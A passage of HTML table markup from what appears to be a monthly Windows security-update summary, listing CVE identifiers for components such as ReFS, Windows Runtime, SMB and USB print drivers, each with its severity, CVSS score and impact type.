  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
